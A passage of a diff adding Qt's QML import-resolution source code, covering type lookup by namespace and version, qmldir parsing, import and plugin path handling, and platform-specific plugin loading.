+ : d(new QDeclarativeImportsPrivate(typeLoader)){
+}
+
+QDeclarativeImports::~QDeclarativeImports()
+{
+ if (--d->ref == 0)
+ delete d;
+}
+
+/*!
+ Sets the base URL to be used for all relative file imports added.
+*/
+void QDeclarativeImports::setBaseUrl(const QUrl& url)
+{
+ d->base = url;
+}
+
+/*!
+ Returns the base URL to be used for all relative file imports added.
+*/
+QUrl QDeclarativeImports::baseUrl() const
+{
+ return d->base;
+}
+
+static QDeclarativeTypeNameCache *
+cacheForNamespace(QDeclarativeEngine *engine, const QDeclarativeImportedNamespace &set,
+ QDeclarativeTypeNameCache *cache)
+{
+ if (!cache)
+ cache = new QDeclarativeTypeNameCache(engine);
+
+ QList<QDeclarativeType *> types = QDeclarativeMetaType::qmlTypes();
+
+ for (int ii = 0; ii < set.uris.count(); ++ii) {
+ QByteArray base = set.uris.at(ii).toUtf8() + '/';
+ int major = set.majversions.at(ii);
+ int minor = set.minversions.at(ii);
+
+ foreach (QDeclarativeType *type, types) {
+ if (type->qmlTypeName().startsWith(base) &&
+ type->qmlTypeName().lastIndexOf('/') == (base.length() - 1) &&
+ type->availableInVersion(major,minor))
+ {
+ QString name = QString::fromUtf8(type->qmlTypeName().mid(base.length()));
+
+ cache->add(name, type);
+ }
+ }
+ }
+
+ return cache;
+}
+
+void QDeclarativeImports::populateCache(QDeclarativeTypeNameCache *cache, QDeclarativeEngine *engine) const
+{
+ const QDeclarativeImportedNamespace &set = d->unqualifiedset;
+
+ for (QHash<QString,QDeclarativeImportedNamespace* >::ConstIterator iter = d->set.begin();
+ iter != d->set.end(); ++iter) {
+
+ QDeclarativeTypeNameCache::Data *d = cache->data(iter.key());
+ if (d) {
+ if (!d->typeNamespace)
+ cacheForNamespace(engine, *(*iter), d->typeNamespace);
+ } else {
+ QDeclarativeTypeNameCache *nc = cacheForNamespace(engine, *(*iter), 0);
+ cache->add(iter.key(), nc);
+ nc->release();
+ }
+ }
+
+ cacheForNamespace(engine, set, cache);
+}
+
+/*!
+ \internal
+
+ The given (namespace qualified) \a type is resolved to either
+ \list
+ \o a QDeclarativeImportedNamespace stored at \a ns_return,
+ \o a QDeclarativeType stored at \a type_return, or
+ \o a component located at \a url_return.
+ \endlist
+
+ If any return pointer is 0, the corresponding search is not done.
+
+ \sa addImport()
+*/
+bool QDeclarativeImports::resolveType(const QByteArray& type,
+ QDeclarativeType** type_return, QUrl* url_return, int *vmaj, int *vmin,
+ QDeclarativeImportedNamespace** ns_return, QString *errorString) const
+{
+ QDeclarativeImportedNamespace* ns = d->findNamespace(QString::fromUtf8(type));
+ if (ns) {
+ if (ns_return)
+ *ns_return = ns;
+ return true;
+ }
+ if (type_return || url_return) {
+ if (d->find(type,vmaj,vmin,type_return,url_return, errorString)) {
+ if (qmlImportTrace()) {
+ if (type_return && *type_return && url_return && !url_return->isEmpty())
+ qDebug().nospace() << "QDeclarativeImports(" << qPrintable(baseUrl().toString()) << ")" << "::resolveType: "
+ << type << " => " << (*type_return)->typeName() << " " << *url_return;
+ if (type_return && *type_return)
+ qDebug().nospace() << "QDeclarativeImports(" << qPrintable(baseUrl().toString()) << ")" << "::resolveType: "
+ << type << " => " << (*type_return)->typeName();
+ if (url_return && !url_return->isEmpty())
+ qDebug().nospace() << "QDeclarativeImports(" << qPrintable(baseUrl().toString()) << ")" << "::resolveType: "
+ << type << " => " << *url_return;
+ }
+ return true;
+ }
+ }
+ return false;
+}
+
+/*!
+ \internal
+
+ Searching \e only in the namespace \a ns (previously returned in a call to
+ resolveType(), \a type is found and returned to either
+ a QDeclarativeType stored at \a type_return, or
+ a component located at \a url_return.
+
+ If either return pointer is 0, the corresponding search is not done.
+*/
+bool QDeclarativeImports::resolveType(QDeclarativeImportedNamespace* ns, const QByteArray& type,
+ QDeclarativeType** type_return, QUrl* url_return,
+ int *vmaj, int *vmin) const
+{
+ Q_ASSERT(d->typeLoader);
+ return ns->find(d->typeLoader,type,vmaj,vmin,type_return,url_return);
+}
+
+bool QDeclarativeImportedNamespace::find_helper(QDeclarativeTypeLoader *typeLoader, int i, const QByteArray& type, int *vmajor, int *vminor,
+ QDeclarativeType** type_return, QUrl* url_return,
+ QUrl *base, bool *typeRecursionDetected)
+{
+ int vmaj = majversions.at(i);
+ int vmin = minversions.at(i);
+
+ QByteArray qt = uris.at(i).toUtf8();
+ qt += '/';
+ qt += type;
+
+ QDeclarativeType *t = QDeclarativeMetaType::qmlType(qt,vmaj,vmin);
+ if (t) {
+ if (vmajor) *vmajor = vmaj;
+ if (vminor) *vminor = vmin;
+ if (type_return)
+ *type_return = t;
+ return true;
+ }
+
+ QDeclarativeDirComponents qmldircomponents = qmlDirComponents.at(i);
+
+ bool typeWasDeclaredInQmldir = false;
+ if (!qmldircomponents.isEmpty()) {
+ const QString typeName = QString::fromUtf8(type);
+ foreach (const QDeclarativeDirParser::Component &c, qmldircomponents) {
+ if (c.typeName == typeName) {
+ typeWasDeclaredInQmldir = true;
+
+ // importing version -1 means import ALL versions
+ if ((vmaj == -1) || (c.majorVersion < vmaj || (c.majorVersion == vmaj && vmin >= c.minorVersion))) {
+ QUrl url = QUrl(urls.at(i) + QLatin1Char('/') + QString::fromUtf8(type) + QLatin1String(".qml"));
+ QUrl candidate = url.resolved(QUrl(c.fileName));
+ if (c.internal && base) {
+ if (base->resolved(QUrl(c.fileName)) != candidate)
+ continue; // failed attempt to access an internal type
+ }
+ if (base && *base == candidate) {
+ if (typeRecursionDetected)
+ *typeRecursionDetected = true;
+ continue; // no recursion
+ }
+ if (url_return)
+ *url_return = candidate;
+ return true;
+ }
+ }
+ }
+ }
+
+ if (!typeWasDeclaredInQmldir && !isLibrary.at(i)) {
+ // XXX search non-files too! (eg. zip files, see QT-524)
+ QUrl url = QUrl(urls.at(i) + QLatin1Char('/') + QString::fromUtf8(type) + QLatin1String(".qml"));
+ QString file = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+ if (!typeLoader->absoluteFilePath(file).isEmpty()) {
+ if (base && *base == url) { // no recursion
+ if (typeRecursionDetected)
+ *typeRecursionDetected = true;
+ } else {
+ if (url_return)
+ *url_return = url;
+ return true;
+ }
+ }
+ }
+ return false;
+}
+
+QDeclarativeImportsPrivate::QDeclarativeImportsPrivate(QDeclarativeTypeLoader *loader)
+ : ref(1), typeLoader(loader){
+}
+
+QDeclarativeImportsPrivate::~QDeclarativeImportsPrivate()
+{
+ foreach (QDeclarativeImportedNamespace* s, set.values())
+ delete s;
+}
+
+bool QDeclarativeImportsPrivate::importExtension(const QString &absoluteFilePath, const QString &uri,
+ QDeclarativeImportDatabase *database,
+ QDeclarativeDirComponents* components, QString *errorString)
+{
+ Q_ASSERT(typeLoader);
+ const QDeclarativeDirParser *qmldirParser = typeLoader->qmlDirParser(absoluteFilePath);
+ if (qmldirParser->hasError()) {
+ if (errorString) {
+ const QList<QDeclarativeError> qmldirErrors = qmldirParser->errors(uri);
+ for (int i = 0; i < qmldirErrors.size(); ++i)
+ *errorString += qmldirErrors.at(i).description();
+ }
+ return false;
+ }
+
+ if (! qmlDirFilesForWhichPluginsHaveBeenLoaded.contains(absoluteFilePath)) {
+ qmlDirFilesForWhichPluginsHaveBeenLoaded.insert(absoluteFilePath);
+
+ QDir dir = QFileInfo(absoluteFilePath).dir();
+ foreach (const QDeclarativeDirParser::Plugin &plugin, qmldirParser->plugins()) {
+
+ QString resolvedFilePath = database->resolvePlugin(dir, plugin.path, plugin.name);
+#if defined(QT_LIBINFIX) && defined(Q_OS_SYMBIAN)
+ if (resolvedFilePath.isEmpty()) {
+ // In case of libinfixed build, attempt to load libinfixed version, too.
+ QString infixedPluginName = plugin.name + QLatin1String(QT_LIBINFIX);
+ resolvedFilePath = database->resolvePlugin(dir, plugin.path, infixedPluginName);
+ }
+#endif
+ if (!resolvedFilePath.isEmpty()) {
+ if (!database->importPlugin(resolvedFilePath, uri, errorString)) {
+ if (errorString)
+ *errorString = QDeclarativeImportDatabase::tr("plugin cannot be loaded for module \"%1\": %2").arg(uri).arg(*errorString);
+ return false;
+ }
+ } else {
+ if (errorString)
+ *errorString = QDeclarativeImportDatabase::tr("module \"%1\" plugin \"%2\" not found").arg(uri).arg(plugin.name);
+ return false;
+ }
+ }
+ }
+
+ if (components)
+ *components = qmldirParser->components();
+
+ return true;
+}
+
+QString QDeclarativeImportsPrivate::resolvedUri(const QString &dir_arg, QDeclarativeImportDatabase *database)
+{
+ QString dir = dir_arg;
+ if (dir.endsWith(QLatin1Char('/')) || dir.endsWith(QLatin1Char('\\')))
+ dir.chop(1);
+
+ QStringList paths = database->fileImportPath;
+ qSort(paths.begin(), paths.end(), greaterThan); // Ensure subdirs preceed their parents.
+
+ QString stableRelativePath = dir;
+ foreach(const QString &path, paths) {
+ if (dir.startsWith(path)) {
+ stableRelativePath = dir.mid(path.length()+1);
+ break;
+ }
+ }
+
+ stableRelativePath.replace(QLatin1Char('\\'), QLatin1Char('/'));
+
+ // remove optional versioning in dot notation from uri
+ int lastSlash = stableRelativePath.lastIndexOf(QLatin1Char('/'));
+ if (lastSlash >= 0) {
+ int versionDot = stableRelativePath.indexOf(QLatin1Char('.'), lastSlash);
+ if (versionDot >= 0)
+ stableRelativePath = stableRelativePath.left(versionDot);
+ }
+
+ stableRelativePath.replace(QLatin1Char('/'), QLatin1Char('.'));
+ return stableRelativePath;
+}
+
+bool QDeclarativeImportsPrivate::add(const QDeclarativeDirComponents &qmldircomponentsnetwork,
+ const QString& uri_arg, const QString& prefix, int vmaj, int vmin,
+ QDeclarativeScriptParser::Import::Type importType,
+ QDeclarativeImportDatabase *database, QString *errorString)
+{
+ Q_ASSERT(typeLoader);
+ QDeclarativeDirComponents qmldircomponents = qmldircomponentsnetwork;
+ QString uri = uri_arg;
+ QDeclarativeImportedNamespace *s;
+ if (prefix.isEmpty()) {
+ s = &unqualifiedset;
+ } else {
+ s = set.value(prefix);
+ if (!s)
+ set.insert(prefix,(s=new QDeclarativeImportedNamespace));
+ }
+
+ QString url = uri;
+ bool versionFound = false;
+ if (importType == QDeclarativeScriptParser::Import::Library) {
+ url.replace(QLatin1Char('.'), QLatin1Char('/'));
+ bool found = false;
+ QString dir;
+ QString qmldir;
+
+ // step 1: search for extension with fully encoded version number
+ if (vmaj >= 0 && vmin >= 0) {
+ foreach (const QString &p, database->fileImportPath) {
+ dir = p+QLatin1Char('/')+url;
+ qmldir = dir+QString(QLatin1String(".%1.%2")).arg(vmaj).arg(vmin)+QLatin1String("/qmldir");
+
+ QString absoluteFilePath = typeLoader->absoluteFilePath(qmldir);
+ if (!absoluteFilePath.isEmpty()) {
+ found = true;
+
+ QString absolutePath = absoluteFilePath.left(absoluteFilePath.lastIndexOf(QLatin1Char('/')));
+ url = QUrl::fromLocalFile(absolutePath).toString();
+ uri = resolvedUri(dir, database);
+ if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+ return false;
+ break;
+ }
+ }
+ }
+ // step 2: search for extension with encoded version major
+ if (vmaj >= 0 && vmin >= 0) {
+ foreach (const QString &p, database->fileImportPath) {
+ dir = p+QLatin1Char('/')+url;
+ qmldir = dir+QString(QLatin1String(".%1")).arg(vmaj)+QLatin1String("/qmldir");
+
+ QString absoluteFilePath = typeLoader->absoluteFilePath(qmldir);
+ if (!absoluteFilePath.isEmpty()) {
+ found = true;
+
+ QString absolutePath = absoluteFilePath.left(absoluteFilePath.lastIndexOf(QLatin1Char('/')));
+ url = QUrl::fromLocalFile(absolutePath).toString();
+ uri = resolvedUri(dir, database);
+ if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+ return false;
+ break;
+ }
+ }
+ }
+ if (!found) {
+ // step 3: search for extension without version number
+
+ foreach (const QString &p, database->fileImportPath) {
+ dir = p+QLatin1Char('/')+url;
+ qmldir = dir+QLatin1String("/qmldir");
+
+ QString absoluteFilePath = typeLoader->absoluteFilePath(qmldir);
+ if (!absoluteFilePath.isEmpty()) {
+ found = true;
+
+ QString absolutePath = absoluteFilePath.left(absoluteFilePath.lastIndexOf(QLatin1Char('/')));
+ url = QUrl::fromLocalFile(absolutePath).toString();
+ uri = resolvedUri(dir, database);
+ if (!importExtension(absoluteFilePath, uri, database, &qmldircomponents, errorString))
+ return false;
+ break;
+ }
+ }
+ }
+
+ if (QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin))
+ versionFound = true;
+
+ if (!versionFound && qmldircomponents.isEmpty()) {
+ if (errorString) {
+ bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), -1, -1);
+ if (anyversion)
+ *errorString = QDeclarativeImportDatabase::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin);
+ else
+ *errorString = QDeclarativeImportDatabase::tr("module \"%1\" is not installed").arg(uri_arg);
+ }
+ return false;
+ }
+ } else {
+
+ if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) {
+ QUrl importUrl = base.resolved(QUrl(uri + QLatin1String("/qmldir")));
+ QString localFileOrQrc = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(importUrl);
+ if (!localFileOrQrc.isEmpty()) {
+ QString dir = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(base.resolved(QUrl(uri)));
+ QFileInfo dirinfo(dir);
+ if (dir.isEmpty() || !dirinfo.exists() || !dirinfo.isDir()) {
+ if (errorString)
+ *errorString = QDeclarativeImportDatabase::tr("\"%1\": no such directory").arg(uri_arg);
+ return false; // local import dirs must exist
+ }
+ uri = resolvedUri(QDeclarativeEnginePrivate::urlToLocalFileOrQrc(base.resolved(QUrl(uri))), database);
+ if (uri.endsWith(QLatin1Char('/')))
+ uri.chop(1);
+ if (!typeLoader->absoluteFilePath(localFileOrQrc).isEmpty()) {
+ if (!importExtension(localFileOrQrc,uri,database,&qmldircomponents,errorString))
+ return false;
+ }
+ } else {
+ if (prefix.isEmpty()) {
+ // directory must at least exist for valid import
+ QString localFileOrQrc = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(base.resolved(QUrl(uri)));
+ QFileInfo dirinfo(localFileOrQrc);
+ if (localFileOrQrc.isEmpty() || !dirinfo.exists() || !dirinfo.isDir()) {
+ if (errorString) {
+ if (localFileOrQrc.isEmpty())
+ *errorString = QDeclarativeImportDatabase::tr("import \"%1\" has no qmldir and no namespace").arg(uri);
+ else
+ *errorString = QDeclarativeImportDatabase::tr("\"%1\": no such directory").arg(uri);
+ }
+ return false;
+ }
+ }
+ }
+ }
+
+ url = base.resolved(QUrl(url)).toString();
+ if (url.endsWith(QLatin1Char('/')))
+ url.chop(1);
+ }
+
+ if (!versionFound && vmaj > -1 && vmin > -1 && !qmldircomponents.isEmpty()) {
+ QList<QDeclarativeDirParser::Component>::ConstIterator it = qmldircomponents.begin();
+ int lowest_maj = INT_MAX;
+ int lowest_min = INT_MAX;
+ int highest_maj = INT_MIN;
+ int highest_min = INT_MIN;
+ for (; it != qmldircomponents.end(); ++it) {
+ if (it->majorVersion > highest_maj || (it->majorVersion == highest_maj && it->minorVersion > highest_min)) {
+ highest_maj = it->majorVersion;
+ highest_min = it->minorVersion;
+ }
+ if (it->majorVersion < lowest_maj || (it->majorVersion == lowest_maj && it->minorVersion < lowest_min)) {
+ lowest_maj = it->majorVersion;
+ lowest_min = it->minorVersion;
+ }
+ }
+ if (lowest_maj > vmaj || (lowest_maj == vmaj && lowest_min > vmin)
+ || highest_maj < vmaj || (highest_maj == vmaj && highest_min < vmin))
+ {
+ *errorString = QDeclarativeImportDatabase::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin);
+ return false;
+ }
+ }
+
+ s->uris.prepend(uri);
+ s->urls.prepend(url);
+ s->majversions.prepend(vmaj);
+ s->minversions.prepend(vmin);
+ s->isLibrary.prepend(importType == QDeclarativeScriptParser::Import::Library);
+ s->qmlDirComponents.prepend(qmldircomponents);
+ return true;
+}
+
+bool QDeclarativeImportsPrivate::find(const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return,
+ QUrl* url_return, QString *errorString)
+{
+ Q_ASSERT(typeLoader);
+ QDeclarativeImportedNamespace *s = 0;
+ int slash = type.indexOf('/');
+ if (slash >= 0) {
+ QString namespaceName = QString::fromUtf8(type.left(slash));
+ s = set.value(namespaceName);
+ if (!s) {
+ if (errorString)
+ *errorString = QDeclarativeImportDatabase::tr("- %1 is not a namespace").arg(namespaceName);
+ return false;
+ }
+ int nslash = type.indexOf('/',slash+1);
+ if (nslash > 0) {
+ if (errorString)
+ *errorString = QDeclarativeImportDatabase::tr("- nested namespaces not allowed");
+ return false;
+ }
+ } else {
+ s = &unqualifiedset;
+ }
+ QByteArray unqualifiedtype = slash < 0 ? type : type.mid(slash+1); // common-case opt (QString::mid works fine, but slower)
+ if (s) {
+ if (s->find(typeLoader, unqualifiedtype,vmajor,vminor,type_return,url_return, &base, errorString))
+ return true;
+ if (s->urls.count() == 1 && !s->isLibrary[0] && url_return && s != &unqualifiedset) {
+ // qualified, and only 1 url
+ *url_return = QUrl(s->urls[0]+QLatin1Char('/')).resolved(QUrl(QString::fromUtf8(unqualifiedtype) + QLatin1String(".qml")));
+ return true;
+ }
+ }
+
+ return false;
+}
+
+QDeclarativeImportedNamespace *QDeclarativeImportsPrivate::findNamespace(const QString& type)
+{
+ return set.value(type);
+}
+
+bool QDeclarativeImportedNamespace::find(QDeclarativeTypeLoader *typeLoader, const QByteArray& type, int *vmajor, int *vminor, QDeclarativeType** type_return,
+ QUrl* url_return, QUrl *base, QString *errorString)
+{
+ bool typeRecursionDetected = false;
+ for (int i=0; i<urls.count(); ++i) {
+ if (find_helper(typeLoader, i, type, vmajor, vminor, type_return, url_return, base, &typeRecursionDetected)) {
+ if (qmlCheckTypes()) {
+ // check for type clashes
+ for (int j = i+1; j<urls.count(); ++j) {
+ if (find_helper(typeLoader, j, type, vmajor, vminor, 0, 0, base)) {
+ if (errorString) {
+ QString u1 = urls.at(i);
+ QString u2 = urls.at(j);
+ if (base) {
+ QString b = base->toString();
+ int slash = b.lastIndexOf(QLatin1Char('/'));
+ if (slash >= 0) {
+ b = b.left(slash+1);
+ QString l = b.left(slash);
+ if (u1.startsWith(b))
+ u1 = u1.mid(b.count());
+ else if (u1 == l)
+ u1 = QDeclarativeImportDatabase::tr("local directory");
+ if (u2.startsWith(b))
+ u2 = u2.mid(b.count());
+ else if (u2 == l)
+ u2 = QDeclarativeImportDatabase::tr("local directory");
+ }
+ }
+
+ if (u1 != u2)
+ *errorString
+ = QDeclarativeImportDatabase::tr("is ambiguous. Found in %1 and in %2")
+ .arg(u1).arg(u2);
+ else
+ *errorString
+ = QDeclarativeImportDatabase::tr("is ambiguous. Found in %1 in version %2.%3 and %4.%5")
+ .arg(u1)
+ .arg(majversions.at(i)).arg(minversions.at(i))
+ .arg(majversions.at(j)).arg(minversions.at(j));
+ }
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+ }
+ if (errorString) {
+ if (typeRecursionDetected)
+ *errorString = QDeclarativeImportDatabase::tr("is instantiated recursively");
+ else
+ *errorString = QDeclarativeImportDatabase::tr("is not a type");
+ }
+ return false;
+}
+
+/*!
+\class QDeclarativeImportDatabase
+\brief The QDeclarativeImportDatabase class manages the QML imports for a QDeclarativeEngine.
+\internal
+*/
+QDeclarativeImportDatabase::QDeclarativeImportDatabase(QDeclarativeEngine *e)
+: engine(e)
+{
+ filePluginPath << QLatin1String(".");
+
+ // Search order is applicationDirPath(), $QML_IMPORT_PATH, QLibraryInfo::ImportsPath
+
+#ifndef QT_NO_SETTINGS
+ QString installImportsPath = QLibraryInfo::location(QLibraryInfo::ImportsPath);
+
+#if defined(Q_OS_SYMBIAN)
+ // Append imports path for all available drives in Symbian
+ if (installImportsPath.at(1) != QChar(QLatin1Char(':'))) {
+ QString tempPath = installImportsPath;
+ if (tempPath.at(tempPath.length() - 1) != QDir::separator()) {
+ tempPath += QDir::separator();
+ }
+ RFs& fs = qt_s60GetRFs();
+ TPtrC tempPathPtr(reinterpret_cast<const TText*> (tempPath.constData()));
+ // Symbian searches should start from Y:. Fix start drive otherwise TFindFile starts from the session drive
+ _LIT(KStartDir, "Y:");
+ TFileName dirPath(KStartDir);
+ dirPath.Append(tempPathPtr);
+ TFindFile finder(fs);
+ TInt err = finder.FindByDir(tempPathPtr, dirPath);
+ while (err == KErrNone) {
+ QString foundDir(reinterpret_cast<const QChar *>(finder.File().Ptr()),
+ finder.File().Length());
+ foundDir = QDir(foundDir).canonicalPath();
+ addImportPath(foundDir);
+ err = finder.Find();
+ }
+ // TFindFile found the directories in the order we want, but addImportPath reverses it.
+ // Reverse the order again to get it right.
+ QAlgorithmsPrivate::qReverse(fileImportPath.begin(), fileImportPath.end());
+ } else {
+ addImportPath(installImportsPath);
+ }
+#else
+ addImportPath(installImportsPath);
+#endif
+
+#endif // QT_NO_SETTINGS
+
+ // env import paths
+ QByteArray envImportPath = qgetenv("QML_IMPORT_PATH");
+ if (!envImportPath.isEmpty()) {
+#if defined(Q_OS_WIN) || defined(Q_OS_SYMBIAN)
+ QLatin1Char pathSep(';');
+#else
+ QLatin1Char pathSep(':');
+#endif
+ QStringList paths = QString::fromLatin1(envImportPath).split(pathSep, QString::SkipEmptyParts);
+ for (int ii = paths.count() - 1; ii >= 0; --ii)
+ addImportPath(paths.at(ii));
+ }
+
+ addImportPath(QCoreApplication::applicationDirPath());
+}
+
+QDeclarativeImportDatabase::~QDeclarativeImportDatabase()
+{
+}
+
+/*!
+ \internal
+
+ Adds information to \a imports such that subsequent calls to resolveType()
+ will resolve types qualified by \a prefix by considering types found at the given \a uri.
+
+ The uri is either a directory (if importType is FileImport), or a URI resolved using paths
+ added via addImportPath() (if importType is LibraryImport).
+
+ The \a prefix may be empty, in which case the import location is considered for
+ unqualified types.
+
+ The base URL must already have been set with Import::setBaseUrl().
+*/
+bool QDeclarativeImports::addImport(QDeclarativeImportDatabase *importDb,
+ const QString& uri, const QString& prefix, int vmaj, int vmin,
+ QDeclarativeScriptParser::Import::Type importType,
+ const QDeclarativeDirComponents &qmldircomponentsnetwork,
+ QString *errorString)
+{
+ if (qmlImportTrace())
+ qDebug().nospace() << "QDeclarativeImports(" << qPrintable(baseUrl().toString()) << ")" << "::addImport: "
+ << uri << " " << vmaj << '.' << vmin << " "
+ << (importType==QDeclarativeScriptParser::Import::Library? "Library" : "File")
+ << " as " << prefix;
+
+ return d->add(qmldircomponentsnetwork, uri, prefix, vmaj, vmin, importType, importDb, errorString);
+}
+
+/*!
+ \internal
+
+ Returns the result of the merge of \a baseName with \a path, \a suffixes, and \a prefix.
+ The \a prefix must contain the dot.
+
+ \a qmldirPath is the location of the qmldir file.
+ */
+QString QDeclarativeImportDatabase::resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,
+ const QString &baseName, const QStringList &suffixes,
+ const QString &prefix)
+{
+ QStringList searchPaths = filePluginPath;
+ bool qmldirPluginPathIsRelative = QDir::isRelativePath(qmldirPluginPath);
+ if (!qmldirPluginPathIsRelative)
+ searchPaths.prepend(qmldirPluginPath);
+
+ foreach (const QString &pluginPath, searchPaths) {
+
+ QString resolvedPath;
+
+ if (pluginPath == QLatin1String(".")) {
+ if (qmldirPluginPathIsRelative)
+ resolvedPath = qmldirPath.absoluteFilePath(qmldirPluginPath);
+ else
+ resolvedPath = qmldirPath.absolutePath();
+ } else {
+ resolvedPath = pluginPath;
+ }
+
+ // hack for resources, should probably go away
+ if (resolvedPath.startsWith(QLatin1Char(':')))
+ resolvedPath = QCoreApplication::applicationDirPath();
+
+ QDir dir(resolvedPath);
+ foreach (const QString &suffix, suffixes) {
+ QString pluginFileName = prefix;
+
+ pluginFileName += baseName;
+ pluginFileName += suffix;
+
+ QFileInfo fileInfo(dir, pluginFileName);
+
+ if (fileInfo.exists())
+ return fileInfo.absoluteFilePath();
+ }
+ }
+
+ if (qmlImportTrace())
+ qDebug() << "QDeclarativeImportDatabase::resolvePlugin: Could not resolve plugin" << baseName
+ << "in" << qmldirPath.absolutePath();
+
+ return QString();
+}
+
+/*!
+ \internal
+
+ Returns the result of the merge of \a baseName with \a dir and the platform suffix.
+
+ \table
+ \header \i Platform \i Valid suffixes
+ \row \i Windows \i \c .dll
+ \row \i Unix/Linux \i \c .so
+ \row \i AIX \i \c .a
+ \row \i HP-UX \i \c .sl, \c .so (HP-UXi)
+ \row \i Mac OS X \i \c .dylib, \c .bundle, \c .so
+ \row \i Symbian \i \c .dll
+ \endtable
+
+ Version number on unix are ignored.
+*/
+QString QDeclarativeImportDatabase::resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,
+ const QString &baseName)
+{
+#if defined(Q_OS_WIN32) || defined(Q_OS_WINCE)
+ return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,
+ QStringList()
+# ifdef QT_DEBUG
+ << QLatin1String("d.dll") // try a qmake-style debug build first
+# endif
+ << QLatin1String(".dll"));
+#elif defined(Q_OS_SYMBIAN)
+ return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,
+ QStringList()
+ << QLatin1String(".dll")
+ << QLatin1String(".qtplugin"));
+#else
+
+# if defined(Q_OS_DARWIN)
+
+ return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,
+ QStringList()
+# ifdef QT_DEBUG
+ << QLatin1String("_debug.dylib") // try a qmake-style debug build first
+ << QLatin1String(".dylib")
+# else
+ << QLatin1String(".dylib")
+ << QLatin1String("_debug.dylib") // try a qmake-style debug build after
+# endif
+ << QLatin1String(".so")
+ << QLatin1String(".bundle"),
+ QLatin1String("lib"));
+# else // Generic Unix
+ QStringList validSuffixList;
+
+# if defined(Q_OS_HPUX)
+/*
+ See "HP-UX Linker and Libraries User's Guide", section "Link-time Differences between PA-RISC and IPF":
+ "In PA-RISC (PA-32 and PA-64) shared libraries are suffixed with .sl. In IPF (32-bit and 64-bit),
+ the shared libraries are suffixed with .so. For compatibility, the IPF linker also supports the .sl suffix."
+ */
+ validSuffixList << QLatin1String(".sl");
+# if defined __ia64
+ validSuffixList << QLatin1String(".so");
+# endif
+# elif defined(Q_OS_AIX)
+ validSuffixList << QLatin1String(".a") << QLatin1String(".so");
+# elif defined(Q_OS_UNIX)
+ validSuffixList << QLatin1String(".so");
+# endif
+
+ // Examples of valid library names:
+ // libfoo.so
+
+ return resolvePlugin(qmldirPath, qmldirPluginPath, baseName, validSuffixList, QLatin1String("lib"));
+# endif
+
+#endif
+}
+
+/*!
+ \internal
+*/
+QStringList QDeclarativeImportDatabase::pluginPathList() const
+{
+ return filePluginPath;
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeImportDatabase::setPluginPathList(const QStringList &paths)
+{
+ filePluginPath = paths;
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeImportDatabase::addPluginPath(const QString& path)
+{
+ if (qmlImportTrace())
+ qDebug().nospace() << "QDeclarativeImportDatabase::addPluginPath: " << path;
+
+ QUrl url = QUrl(path);
+ if (url.isRelative() || url.scheme() == QLatin1String("file")
+ || (url.scheme().length() == 1 && QFile::exists(path)) ) { // windows path
+ QDir dir = QDir(path);
+ filePluginPath.prepend(dir.canonicalPath());
+ } else {
+ filePluginPath.prepend(path);
+ }
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeImportDatabase::addImportPath(const QString& path)
+{
+ if (qmlImportTrace())
+ qDebug().nospace() << "QDeclarativeImportDatabase::addImportPath: " << path;
+
+ if (path.isEmpty())
+ return;
+
+ QUrl url = QUrl(path);
+ QString cPath;
+
+ if (url.isRelative() || url.scheme() == QLatin1String("file")
+ || (url.scheme().length() == 1 && QFile::exists(path)) ) { // windows path
+ QDir dir = QDir(path);
+ cPath = dir.canonicalPath();
+ } else {
+ cPath = path;
+ cPath.replace(QLatin1Char('\\'), QLatin1Char('/'));
+ }
+
+ if (!cPath.isEmpty()
+ && !fileImportPath.contains(cPath))
+ fileImportPath.prepend(cPath);
+}
+
+/*!
+ \internal
+*/
+QStringList QDeclarativeImportDatabase::importPathList() const
+{
+ return fileImportPath;
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeImportDatabase::setImportPathList(const QStringList &paths)
+{
+ fileImportPath = paths;
+}
+
+/*!
+ \internal
+*/
+bool QDeclarativeImportDatabase::importPlugin(const QString &filePath, const QString &uri, QString *errorString)
+{
+ if (qmlImportTrace())
+ qDebug().nospace() << "QDeclarativeImportDatabase::importPlugin: " << uri << " from " << filePath;
+
+#ifndef QT_NO_LIBRARY
+ QFileInfo fileInfo(filePath);
+ const QString absoluteFilePath = fileInfo.absoluteFilePath();
+
+ bool engineInitialized = initializedPlugins.contains(absoluteFilePath);
+ bool typesRegistered = qmlEnginePluginsWithRegisteredTypes()->contains(absoluteFilePath);
+
+ if (typesRegistered) {
+ Q_ASSERT_X(qmlEnginePluginsWithRegisteredTypes()->value(absoluteFilePath) == uri,
+ "QDeclarativeImportDatabase::importExtension",
+ "Internal error: Plugin imported previously with different uri");
+ }
+
+ if (!engineInitialized || !typesRegistered) {
+ if (!QDeclarative_isFileCaseCorrect(absoluteFilePath)) {
+ if (errorString)
+ *errorString = tr("File name case mismatch for \"%1\"").arg(absoluteFilePath);
+ return false;
+ }
+ QPluginLoader loader(absoluteFilePath);
+
+ if (!loader.load()) {
+ if (errorString)
+ *errorString = loader.errorString();
+ return false;
+ }
+
+ if (QDeclarativeExtensionInterface *iface = qobject_cast<QDeclarativeExtensionInterface *>(loader.instance())) {
+
+ const QByteArray bytes = uri.toUtf8();
+ const char *moduleId = bytes.constData();
+ if (!typesRegistered) {
+
+ // ### this code should probably be protected with a mutex.
+ qmlEnginePluginsWithRegisteredTypes()->insert(absoluteFilePath, uri);
+ iface->registerTypes(moduleId);
+ }
